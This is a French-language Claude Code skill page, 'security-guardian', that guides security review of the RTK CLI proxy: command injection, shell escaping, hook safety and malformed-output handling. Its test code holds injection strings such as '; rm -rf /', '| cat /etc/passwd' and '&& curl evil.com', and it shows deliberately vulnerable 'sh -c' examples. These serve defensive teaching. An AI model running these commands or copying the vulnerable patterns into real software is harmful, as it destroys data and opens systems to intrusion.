security-guardian

Par rtk-ai · rtk

Expert en sécurité CLI pour RTK - injection de commandes, échappement shell, sécurité des hooks

npx skills add https://github.com/rtk-ai/rtk --skill security-guardian

Security Guardian

Analyse de sécurité complète pour l'outil RTK CLI, en se concentrant sur l'injection de commandes, l'échappement de shell, la sécurité des hooks, et la gestion des entrées malveillantes.

Quand l'utiliser

  • Automatiquement déclenché : Après les modifications de filtres, la logique d'exécution de commande shell, les modifications de hooks
  • Invocation manuelle : Avant la publication, après les modifications de code sensibles à la sécurité
  • De manière proactive : Lors de la gestion des entrées utilisateur, de l'exécution de commandes shell, ou de l'analyse de sorties non fiables

Modèle de menace de sécurité RTK

RTK fait face à des défis de sécurité uniques en tant que proxy CLI qui :

  1. Exécute des commandes shell basées sur les entrées utilisateur
  2. Analyse les sorties de commandes non fiables (git, cargo, gh, etc.)
  3. S'intègre aux hooks Claude Code (rtk-rewrite.sh, rtk-suggest.sh)
  4. Route les commandes de manière transparente (vecteurs d'injection de commandes)

Catégories de menaces

Menace Sévérité Impact Atténuation
Injection de commandes 🔴 CRITIQUE Exécution de code à distance Validation des entrées, échappement de shell
Échappement de shell 🔴 CRITIQUE Exécution arbitraire de commandes Échappement spécifique à la plateforme
Injection de hook 🟡 ÉLEVÉ Détournement de hook, interception de commandes Vérification des permissions, validation de signature
Sortie malveillante 🟡 MOYEN Crash RTK, DoS Analyse robuste, gestion d'erreurs
Traversée de répertoires 🟢 BAS Accès aux fichiers en dehors de filters/ Désinfection des chemins

Workflow d'analyse de sécurité

1. Identification des menaces

Questions à poser pour chaque modification de code :

Validation des entrées :
- Ce code accepte-t-il une entrée utilisateur ?
- L'entrée est-elle validée avant utilisation ?
- Les caractères spéciaux (;, |, &, $, `, \, etc.) peuvent-ils poser problème ?

Exécution de shell :
- Ce code exécute-t-il des commandes shell ?
- Les arguments de la commande sont-ils correctement échappés ?
- std::process::Command est-il utilisé (sûr) ou shell=true (dangereux) ?

Analyse de sortie :
- Ce code analyse-t-il la sortie de commandes externes ?
- Une sortie mal formée peut-elle causer des paniques ou des crashs ?
- Les motifs regex sont-ils testés contre les entrées malveillantes ?

Intégration de hooks :
- Ce code modifie-t-il des hooks ?
- Les permissions des hooks sont-elles validées (bit exécutable) ?
- L'intégrité du code source du hook est-elle vérifiée ?

2. Motifs d'audit de code

Détection d'injection de commandes :

// 🔴 CRITIQUE : Vulnérabilité d'injection de shell
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEREUX !
std::process::Command::new("sh")
    .arg("-c")
    .arg(&cmd) // L'attaquant peut injecter : `; rm -rf /`
    .spawn();

// ✅ SÛR : Utiliser le constructeur Command, pas le shell
use std::process::Command;

let user_input = env::args().nth(1).unwrap();
Command::new("git")
    .arg("log")
    .arg(&user_input) // Passé de manière sûre comme argument, non interprété par le shell
    .spawn();

Vulnérabilité d'échappement de shell :

// 🔴 CRITIQUE : Pas d'échappement des caractères spéciaux
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
    let full_cmd = format!("{} {}", cmd, args.join(" "));
    Command::new("sh")
        .arg("-c")
        .arg(&full_cmd) // DANGEREUX : args non échappés
        .output()
}

// ✅ SÛR : Utiliser le constructeur Command, échappement automatique
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
    Command::new(cmd)
        .args(args) // Échappés de manière sûre par l'API Command
        .output()
}

Gestion de sortie malveillante :

// 🔴 CRITIQUE : Panique sur sortie inattendue
fn filter_git_log(input: &str) -> String {
    let first_line = input.lines().next().unwrap(); // Panique si vide !
    let hash = &first_line[7..47]; // Panique si la ligne est trop courte !
    hash.to_string()
}

// ✅ SÛR : Gestion d'erreur gracieuse
fn filter_git_log(input: &str) -> Result<String> {
    let first_line = input.lines().next()
        .ok_or_else(|| anyhow::anyhow!("Entrée vide"))?;

    if first_line.len() < 47 {
        bail!("Format de git log invalide");
    }

    Ok(first_line[7..47].to_string())
}

Prévention d'injection de hook :

# 🔴 CRITIQUE : Hook ne vérifiant pas la source
#!/bin/bash
# rtk-rewrite.sh

# Exécuter la commande sans validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEREUX !

# ✅ SÛR : Valider l'environnement du hook
#!/bin/bash
# rtk-rewrite.sh

# Vérifier que l'exécution se fait dans le contexte Claude Code
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
    echo "Erreur : Non exécuté dans le contexte Claude Code"
    exit 1
fi

# Valider que le binaire RTK existe et est exécutable
if ! command -v rtk >/dev/null 2>&1; then
    echo "Erreur : Binaire rtk introuvable"
    exit 1
fi

# Exécuter avec un chemin explicite (pas de détournement de PATH)
/usr/local/bin/rtk "$@"

3. Tests de sécurité

Tests d'injection de commandes :

#[cfg(test)]
mod security_tests {
    use super::*;

    #[test]
    fn test_command_injection_defense() {
        // Entrée malveillante : tentative d'injection de shell
        let malicious_inputs = vec![
            "; rm -rf /",
            "| cat /etc/passwd",
            "$(whoami)",
            "`id`",
            "&& curl evil.com",
        ];

        for input in malicious_inputs {
            // NE DOIT PAS exécuter les commandes injectées
            let result = execute_command("git", &["log", input]);

            // Soit :
            // 1. Retourner une erreur (la commande échoue de manière sûre), OU
            // 2. Traiter l'entrée comme une chaîne littérale (pas d'interprétation par le shell)
            // Les deux sont acceptables - il ne faut juste pas exécuter l'injection !
        }
    }

    #[test]
    fn test_shell_escaping() {
        // Caractères spéciaux qui nécessitent un échappement
        let special_chars = vec![
            ";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
        ];

        for char in special_chars {
            let arg = format!("test{}value", char);
            let escaped = escape_for_shell(&arg);

            // La version échappée NE DOIT PAS être interprétée par le shell
            assert!(!escaped.contains(char) || escaped.contains('\\'));
        }
    }
}

Tests de sortie malveillante :

#[test]
fn test_malicious_output_handling() {
    // Sorties mal formées qui pourraient faire crasher RTK
    let malicious_outputs = vec![
        "", // Vide
        "\n\n\n", // Seulement des sauts de ligne
        "x".repeat(1_000_000), // 1 Mo de 'x' (épuisement mémoire)
        "\x00\x01\x02", // Données binaires
        "\u{FFFD}".repeat(1000), // Caractères de remplacement Unicode
    ];

    for output in malicious_outputs {
        let result = filter_git_log(&output);

        // Doit soit :
        // 1. Retourner Ok avec la sortie filtrée, OU
        // 2. Retourner Err (échec gracieux)
        // Les deux sont acceptables - il ne faut juste pas paniqué !
        assert!(result.is_ok() || result.is_err());
    }
}

Liste de contrôle des vulnérabilités de sécurité

Injection de commandes (🔴 Critique)

  • [ ] Pas de shell=true : Ne jamais utiliser .arg("-c") avec une entrée utilisateur
  • [ ] Constructeur de commande : Utiliser l'API std::process::Command (pas des chaînes de shell)
  • [ ] Validation des entrées : Valider/désinfecter avant l'exécution de la commande
  • [ ] Approche whitelist : Autoriser uniquement les commandes connues comme sûres

Détection :

# Trouver l'exécution de shell dangereuse
rg "\.arg\(\"-c\"\)" --type rust src/
rg "std::process::Command::new\(\"sh\"\)" --type rust src/
rg "format!.*\{.*Command" --type rust src/

Échappement de shell (🔴 Critique)

  • [ ] Spécifique à la plateforme : Tester l'échappement sur macOS, Linux, Windows
  • [ ] Caractères spéciaux : Gérer ;, |, &, $, `, \, ", ', \n
  • [ ] Utiliser la crate shell-escape : Ne pas réinventer l'échappement
  • [ ] Tests multi-plateforme : Tests #[cfg(target_os = "...")]

Détection :

# Trouver les problèmes d'échappement potentiels
rg "format!.*\{.*args" --type rust src/
rg "\.join\(\" \"\)" --type rust src/

Sécurité des hooks (🟡 Élevé)

  • [ ] Vérifications de permissions : Vérifier que les hooks sont exécutables (-rwxr-xr-x)
  • [ ] Validation de source : Exécuter uniquement les hooks de .claude/hooks/
  • [ ] Validation d'environnement : Vérifier $CLAUDE_CODE_HOOK_BASH_TEMPLATE
  • [ ] Pas d'évaluation dynamique : Pas de eval ou source de fichiers non fiables

Liste de contrôle de sécurité des hooks :

#!/bin/bash
# rtk-rewrite.sh

# 1. Vérifier le contexte Claude Code
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
    exit 1
fi

# 2. Vérifier que le binaire RTK existe
if ! command -v rtk >/dev/null 2>&1; then
    exit 1
fi

# 3. Utiliser un chemin absolu (prévenir le détournement de PATH)
RTK_BIN=$(which rtk)

# 4. Valider la version de RTK (prévenir les attaques de rétrogradation)
if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then
    echo "Avertissement : Incompatibilité de version RTK"
fi

# 5. Exécuter avec un chemin explicite
"$RTK_BIN" "$@"

Sortie malveillante (🟡 Moyen)

  • [ ] Pas de .unwrap() : Utiliser Result pour l'analyse, gestion d'erreur gracieuse
  • [ ] Vérification des limites : Vérifier les longueurs de chaînes avant le découpage
  • [ ] Timeouts regex : Prévenir ReDoS (Regular Expression Denial of Service)
  • [ ] Limites de mémoire : Limiter la taille de la sortie avant analyse

Motif d'analyse sûre :

fn safe_parse(output: &str) -> Result<String> {
    // 1. Vérifier la taille de la sortie (prévenir l'épuisement mémoire)
    if output.len() > 10_000_000 {
        bail!("Sortie trop volumineuse (>10 Mo)");
    }

    // 2. Valider le format (prévenir les entrées mal formées)
    if !output.starts_with("commit ") {
        bail!("Format de git log invalide");
    }

    // 3. Vérification des limites (prévenir les paniques)
    let first_line = output.lines().next()
        .ok_or_else(|| anyhow::anyhow!("Sortie vide"))?;

    if first_line.len() < 47 {
        bail!("Hash de commit trop court");
    }

    // 4. Extraction sûre
    Ok(first_line[7..47].to_string())
}

Bonnes pratiques de sécurité

Validation des entrées

Approche whitelist (plus sûre que la blacklist) :

fn validate_command(cmd: &str) -> Result<()> {
    // ✅ SÛR : Whitelist des commandes connues comme sûres
    const ALLOWED_COMMANDS: &[&str] = &[
        "git", "cargo", "gh", "pnpm", "docker",
        "rustc", "clippy", "rustfmt",
    ];

    if !ALLOWED_COMMANDS.contains(&cmd) {
        bail!("Commande '{}' non autorisée", cmd);
    }

    Ok(())
}

// ❌ NON SÛR : Approche blacklist (facile à contourner)
fn validate_command_unsafe(cmd: &str) -> Result<()> {
    const BLOCKED: &[&str] = &["rm", "dd", "mkfs"];

    if BLOCKED.contains(&cmd) {
        bail!("Commande '{}' bloquée", cmd);
    }

    Ok(())
    // L'attaquant peut utiliser : /bin/rm, rm.exe, RM (variation de casse), etc.
}

Échappement de shell

Utiliser une bibliothèque dédiée :

use shell_escape::escape;

fn escape_arg(arg: &str) -> String {
    // ✅ SÛR : Utiliser une bibliothèque d'échappement éprouvée
    escape(arg.into()).into()
}

// ❌ NON SÛR : Réinventer l'échappement (risque de bugs)
fn escape_arg_unsafe(arg: &str) -> String {
    arg.replace('"', r#"\""#) // Omet de nombreux caractères spéciaux !
}

Échappement spécifique à la plateforme :

#[cfg(target_os = "windows")]
fn escape_for_shell(arg: &str) -> String {
    // Échappement PowerShell
    format!("\"{}\"", arg.replace('"', "`\""))
}

#[cfg(not(target_os = "windows"))]
fn escape_for_shell(arg: &str) -> String {
    // Échappement Bash/zsh
    shell_escape::escape(arg.into()).into()
}

Exécution sécurisée de commandes

Toujours utiliser le constructeur Command :

use std::process::Command;

// ✅ SÛR : Constructeur Command (pas de shell)
fn execute_git(args: &[&str]) -> Result<Output> {
    Command::new("git")
        .args(args) // Échappés de manière sûre
        .output()
        .context("Impossible d'exécuter git")
}

// ❌ NON SÛR : Concaténation de chaînes de shell
fn execute_git_unsafe(args: &[&str]) -> Result<Output> {
    let cmd = format!("git {}", args.join(" "));
    Command::new("sh")
        .arg("-c")
        .arg(&cmd) // Le shell interprète les args !
        .output()
}

Référence des commandes d'audit de sécurité

Trouver les vulnérabilités potentielles :

# Injection de commandes
rg "\.arg\(\"-c\"\)" --type rust src/
rg "format!.*Command" --type rust src/

# Échappement de shell
rg "\.join\(\" \"\)" --type rust src/
rg "format!.*\{.*args" --type rust src/

# Unwraps non sûrs (peuvent paniqué avec une entrée malveillante)
rg "\.unwrap\(\)" --type rust src/

# Violations des limites
rg "\[.*\.\.\.\]" --type rust src/
rg "\[.*\.\.]" --type rust src/

# Sécurité des hooks
rg "eval|source" --type bash .claude/hooks/

Réponse aux incidents

Si une vulnérabilité est découverte :

  1. Évaluer la sévérité : Utiliser la notation CVSS (Critique/Élevé/Moyen/Bas)
  2. Développer un correctif : Corriger la vulnérabilité dans une branche isolée
  3. Tester le correctif : Vérifier avec les tests de sécurité + les tests d'intégration
  4. Publier un correctif d'urgence : Incrémenter la version PATCH (ex : v0.16.0 → v0.16.1)
  5. Divulguer de manière responsable : GitHub Security Advisory, CVE si applicable

Exemple de modèle d'avis :

## Avis de sécurité : Injection de commandes dans rtk v0.16.0

**Sévérité** : CRITIQUE (CVSS 9.8)
**Versions affectées** : v0.15.0 - v0.16.0
**Corrigé dans** : v0.16.1

**Description** :
Les versions RTK 0.15.0 à 0.16.0 sont vulnérables à l'injection de commandes
via les noms de dépôts git malveillants. Un attaquant peut exécuter des
commandes shell arbitraires en créant un dépôt avec des caractères spéciaux
dans le nom.

**Impact** :
Exécution de code à distance avec les privilèges de l'utilisateur.

**Atténuation** :
Mettre à jour vers v0.16.1 immédiatement. En solution temporaire, évitez
d'utiliser RTK dans les répertoires avec des noms de dépôts non fiables.

**Crédits** :
Signalé par : Nom du chercheur en sécurité

Ressources de sécurité

Outils :

  • cargo audit - Analyse de vulnérabilités de dépendances
  • cargo-geiger - Détection de code unsafe
  • cargo-deny - Application de politique sur les dépendances
  • semgrep - Analyse statique pour les motifs de sécurité

Exécuter les vérifications de sécurité :

# Vulnérabilités de dépendances
cargo install cargo-audit
cargo audit

# Détection de code unsafe
cargo install cargo-geiger
cargo geiger

# Analyse statique
cargo install semgrep
semgrep --config auto

Skills similaires